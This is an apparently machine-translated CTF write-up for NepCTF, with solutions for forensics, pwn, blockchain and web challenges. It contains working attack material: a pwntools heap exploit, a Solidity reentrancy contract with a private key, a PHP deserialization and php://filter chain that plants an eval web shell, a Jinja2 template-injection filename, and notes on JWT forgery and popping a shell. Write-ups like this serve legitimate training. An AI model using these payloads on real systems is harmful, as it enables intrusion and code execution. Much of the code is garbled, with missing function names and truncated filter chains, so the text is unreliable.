NepCTF
NepMagic —— CheckIn
Play the game straight out
Note that there's a level where you have to find all the hidden squares.
NepCamera
First use tshark to read the data
A large number of jpeg headers ffd8ffe0 were found in the resultant file.
Guess it's multiple images, write a script and extract them.
Script.
import re
inputFilePath="C:\\Downloads\\NepCamera\\"
with open(inputFilePath, 'r') as file:
hexData = ().replace("\n", "").replace("\r", "")
hexData = (r'[^0-9a-fA-F]', '', hexData)
marker = "ffd8ffe0"
startPositions = []
# FFD8FFE0 header
pos = 0
while True:
pos = (marker, pos)
if pos == -1:
break
(pos)
pos += len(marker)
for i in range(len(startPositions)):
start = max(0, startPositions[i] - 24)
if i + 1 < len(startPositions):
end = startPositions[i + 1]
else:
end = len(hexData)
jpgData = hexData[start:end]
# binary data conversion
jpgBytes = (jpgData)
with open(f"{i + 1}.jpg", "wb") as imgFile:
(jpgBytes)
Eventually find the flag inside the image.
Nemophila
The py solution comes out as
secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}
It's also the password to unzip it.
The decompressed image is different from the one above or
Then do a highly cryptic write
3DNep
Open it with the one that comes with the Microsoft Store
Then the Hanshin code.
discerning eyes
binwalk detachment firmware
And then inside the file that starts with 19 there's
string of base
And then decode it. The back part is also in 010.
NepCTF{Y0u_G0t_K33n_1nS1ght_1n_vXw0rKs!!!_L3t's_G0_Furth3r}
0ezAndroid
It can be called proactively by trying to hook
Also by decompiling the apk to get the encrypted
Then you can get the flags directly through debugging.
NepSSH
In the main function you can see that the flag is read into byte_40C0 and opens up a space of 0x1000 bytes in 0x123300. In the start_routine you can see that it will be compared to NepSSH at 0x123300, and if it passes, it will output the content of the flag, and our purpose is to modify the content of the 0x123300 address.
We can control the heap header by fflush twice, pointing the chain table pointer to 0x123300, and then modify the
from pwn import *
io = remote('',443, ssl=True, sni=True, typ="tcp")
(b'Username.\n')
(b'admin')
(b'Please enter password.\n')
(b'admin')
(b'You can now use ls.\n')
(b'fflush')
sleep(0.5)
(b'fflush')
payload = p64(1) + p64(0x1080) + p64(0x123300)
sleep(0.5)
(payload)
sleep(0.5)
(b'fflush')
sleep(0.5)
(b'NepSSH')
()
theif_god
(The condition for unlocking the Flag is still balance == 50 ether in the Bank, which is quite abstract, and there is one more step to save after the final reentry.)
Poc:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/";
import {Bank} from "../src/";
contract Hack {
Bank target;
constructor(address _target) {
target = Bank(_target);
}
function pwn() external payable {
{value: }();
();
}
function deposit() external {
{value: 50 ether}();
}
function getFlag() external view returns (string memory) {
return ();
}
receive() external payable {
if (() != 0) {
();
}
}
}
contract Attack is Script {
function run() external {
uint256 balance = Bank(0xA86Cb9aCABb3E6629a47d676BEB38e2455B20917).getBalance();
("balance: ", balance);
();
Hack hack = new Hack(0xA86Cb9aCABb3E6629a47d676BEB38e2455B20917);
{value: 0.5 ether}();
balance = address(hack).balance;
("Hack balance: ", balance);
();
string memory flag = ();
();
("flag: ", flag);
}
}
forge script script\ --rpc-url --private-key 0x4b609fde92771ee750dac4d0aace6c9cf34e341229dbda382e49c492ad206e5e --tc Attack --evm-version cancun
Super Neuro : Escape from Flame!
Hard Game
Discovered that you can jump infinitely by touching a wall
Hold down A and press space frantically to spiral into the sky
I forgot to take a screenshot at the time. Anyway, it flies.
PHP_MASTER!!
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A
{
public $key;
public function readflag()
{
if ($this->key === "\0key\0") {
$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);
}
}
}
class B
{
public $b;
public function __tostring()
{
if (preg_match("/\[|\]/i", $_GET['nep'])) {
die("NONONO!!!");
}
$str = substrstr($_GET['nep1'] . "[welcome to" . $_GET['nep'] . "CTF]");
echo $str;
if ($str === 'NepCTF]') {
return ($this->b)();
}
}
}
class C
{
public $s;
public $str;
public function __construct($s)
{
$this->s = $s;
}
public function __destruct()
{
echo $this->str;
}
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0", "00", $ser);
unserialize($data);
This question relates to.Deserialization - Character Escape
, mb_string Length Determination Error Problem
, pseudo protocol
First things first.
mb_string
Error in length determination.reference article
When a sequence of bytes beginning with \xF0 appears in the UTF-8 encoding, it usually represents a four-byte Unicode character. This is because the UTF-8 encoding specification defines a sequence of bytes beginning with \xF0 to encode larger Unicode characters.
There is a difference between mb_substr and mb_strpos execution if the 4-bit rule is not met:
(1) When mb_strpos encounters \xF0, it treats the byte prior to the invalid byte as a character, and then starts parsing again from the invalid byte
mb_strpos("\xf0\x9fAAA<BB", '<'); #returns 4 \xf0\x9f regarded as one byte, starting from A becomes invalid bytes #A is \x41 The above string its considered 7 bytes(2) When mb_substr encounters \xF0, it treats the invalid byte as part of a four-byte Unicode character and then continues parsing
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAAA<B" \xf0\x9fAA is treated as one character The above string its considered to be 5 bytesConclusion: mb_strpos can move the index value backward relative to mb_substr
By controlling the length of the string that follows, we can control the length of the $key we want to execute.
By controlling the front we can control how many digits ahead the index value needs to be.
For every %f0abc sent, mb_strpos is considered to be 4 bytes and mb_substr is considered to be 1 byte, a difference of 3 bytes
For each %f0%9fab sent, mb_strpos is considered 3 bytes and mb_substr is considered 1 byte, a difference of 2 bytes.
For every %f0%9f%9fa sent, mb_strpos is considered to be 2 bytes and mb_substr is considered to be 1 byte, a difference of 1 byte.
This question requires us to skip[welcome to
, which is 10 bytes long, so we construct%f0abc%f0abc%f0abc%f0%9f%9fa
(3*3+1), whereuponnep1
because of%f0abc%f0abc%f0abc%f0%9f%9fa
, nep isNep
The second one we can seeDeserialization length bypass
, refer to Kengwang's article.[CTF/Web] PHP Deserialization Study Notes #Character Escape, we can construct the second half of the payload first.
There are several points in the second half of the paragraph, one of which is aboutcallable
If an object's specified member methods need to becall
, we need to use[$var, 'function_name']
to call, so our chain looks like this.
$a = new A();
$b = new B();
$c = new C();
$c->str = $b;
$b->b = [$a, 'readflag'];
$a->key = "\0key\0";
echo serialize($c);
The second is the issue of null bytes, which are replaced with00
, causing us to$a
(used form a nominal expression)key
hit the nail on the head\0
In this case, we can use theEscape String (S)
for processing, using theS:5:"\00key\00";
to bypass the
So the final second half is as follows.
";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}
His length is exactly 100, and according to the character escape, the length is increased by a factor of 2, so we add 100 null bytes in front of it.
finalc
because of
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%22%3b%73%3a%33%3a%22%73%74%72%22%3b%4f%3a%31%3a%22%42%22%3a%31%3a%7b%73%3a%31%3a%22%62%22%3b%61%3a%32%3a%7b%69%3a%30%3b%4f%3a%31%3a%22%41%22%3a%31%3a%7b%73%3a%33%3a%22%6b%65%79%22%3b%53%3a%35%3a%22%5c%30%30%6b%65%79%5c%30%30%22%3b%7d%69%3a%31%3b%73%3a%38%3a%22%72%65%61%64%66%6c%61%67%22%3b%7d%7d%7d
The third koan isPHP Pseudo Protocol
It's been played with, it's been studied, it's been written, it's been written, it's been written.wrapwrap
It's not easy to comment on this kind of lousy test.
We can see that this place first read the contents of the file, and then write this content to the file inside, a glancewrapwrap
wrapwrap Files with known file contents can be chained through filters with specified prefixes and suffixes
We utilize our expertise in This file of known content comes prefixed with
<?php eval($_POST[0]); ?>
This sentence, but the end of the file is very easy to write dirty, this side of the use of a trick, I first of all original base64-encode it, swallow his php tags, and then prefix it, using wrapwrap.
python .\ path_to_base64_encoded_index_php "<?php eval(`$_POST[0]); ?>" "" 1000
GET.
convert.base64-encode|.855.UTF7|.-32|.UCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|.IBM869.UTF16|.L3.CSISO90|.-8|.-4|convert.base64-decode|convert.base64-encode|.855.UTF7|.8859_3.UTF16|.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|..618BIT|convert.base64-decode|convert.base64-encode|.855.UTF7|.CSA_T500.UTF-32|.-2022-JP-3|.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|.855.UTF7|.|.ISO8859-14.ISO6937|-4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF8.UTF16LE|.UTF8.CSISO2022KR|.UCS2.UTF8|.8859_3.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|.ISO88594.GB13000|.CP950.SHIFT_JISX0213||convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|.UCS4|.UTF16BE.866|.WCHAR_T|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|-2.OSF00030010|.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|-WIN|.L10.UCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.L4.GB13000|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.|.855.CP936|-8|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|-2.OSF00030010|.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|-1161.IBM932|.GB13000.UTF16BE|.-32LE|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.|.855.CP936|-8|convert.base64-decode|convert.base64-encode|.855.UTF7|.8859_3.UTF16|.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.CP1046.UTF16|.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.CP1046.UTF32|.-2|.61-8BIT|.-4LE|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.L8.UTF16BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.||convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.CSIBM1133.IBM943|.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|convert.base64-decode
Manually add: at the very beginning
conver.base64-encode
Final Payload.
POST /?c={{repeat:str({{url({{nullbyte()}})}}|100)}}%22%3b%73%3a%33%3a%22%73%74%72%22%3b%4f%3a%31%3a%22%42%22%3a%31%3a%7b%73%3a%31%3a%22%62%22%3b%61%3a%32%3a%7b%69%3a%30%3b%4f%3a%31%3a%22%41%22%3a%31%3a%7b%73%3a%33%3a%22%6b%65%79%22%3b%53%3a%35%3a%22%5c%30%30%6b%65%79%5c%30%30%22%3b%7d%69%3a%31%3b%73%3a%38%3a%22%72%65%61%64%66%6c%61%67%22%3b%7d%7d%7d&nep1=%f0abc%f0abc%f0abc%f0%9f%9fa&nep=Nep HTTP/1.1
Host:
LHost: localhost:32768
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
1=php://filter/write=convert.base64-encode|convert.base64-encode|.855.UTF7|.-32|.UCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|.IBM869.UTF16|.L3.CSISO90|.-8|.-4|convert.base64-decode|convert.base64-encode|.855.UTF7|.8859_3.UTF16|.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|..618BIT|convert.base64-decode|convert.base64-encode|.855.UTF7|.CSA_T500.UTF-32|.-2022-JP-3|.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|.855.UTF7|.|.ISO8859-14.ISO6937|-4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF8.UTF16LE|.UTF8.CSISO2022KR|.UCS2.UTF8|.8859_3.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|.ISO88594.GB13000|.CP950.SHIFT_JISX0213||convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|.UCS4|.UTF16BE.866|.WCHAR_T|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|-2.OSF00030010|.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|-WIN|.L10.UCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.L4.GB13000|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.|.855.CP936|-8|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|-2.OSF00030010|.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|-1161.IBM932|.GB13000.UTF16BE|.-32LE|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.|.855.CP936|-8|convert.base64-decode|convert.base64-encode|.855.UTF7|.8859_3.UTF16|.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.CP1046.UTF16|.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.CP1046.UTF32|.-2|.61-8BIT|.-4LE|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.L8.UTF16BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.||convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.CSIBM1133.IBM943|.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|convert.base64-decode/resource=/var/www/html/
NepDouble
Rename the filename to{{lipsum.__globals__['os'].popen('cd .. && cat flag').read()}}
Embed the form, change the parameter to tp_file, upload the zip file
var form = ('form');
= 'POST';
= '';
= 'multipart/form-data';
var heading = ('h1');
= 'File Upload';
var fileInput = ('input');
= 'file';
= 'file';
var submitInput = ('input');
= 'submit';
= 'Submit';
var p1 = ('p');
(fileInput);
var p2 = ('p');
(submitInput);
(heading);
(p1);
(p2);
(form);
The flag is rendered into the filename section
bouncing bomb
First jwt forged to admin, go to admin page:
Directory traversal for subsequent file uploads uploads the file to the current directory:
Direct shell popping
Modify the file, change it to forward shell, connect to port 8888 to start the service, get root privileges, and read the file directly.